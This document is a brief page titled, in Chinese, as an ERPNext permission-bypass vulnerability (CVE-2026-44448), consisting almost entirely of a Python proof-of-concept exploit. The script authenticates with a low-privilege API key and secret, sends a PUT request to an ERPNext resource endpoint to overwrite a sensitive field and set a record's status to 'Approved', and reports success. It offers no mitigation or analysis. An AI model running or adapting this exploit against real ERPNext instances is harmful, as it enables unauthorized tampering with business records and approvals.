CVE-2026-44448 ERPNext权限绕过漏洞

import requests # Target ERPNext instance URL TARGET_URL = "http://erpnext-target.com" API_ENDPOINT = f"{TARGET_URL}/api/resource/SomeSensitiveData/doc_id_to_modify" # Low-privilege user credentials (Valid session required) API_KEY = "low_priv_api_key" API_SECRET = "low_priv_api_secret" # Headers with authentication headers = { "Authorization": f"token {API_KEY}:{API_SECRET}", "Content-Type": "application/json" } # Payload attempting to modify data beyond user's role payload = { "critical_field": "unauthorized_value", "status": "Approved" } try: # Sending PUT request to exploit the authorization bypass response = requests.put(API_ENDPOINT, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Data modified.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed or patched. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error occurred: {e}")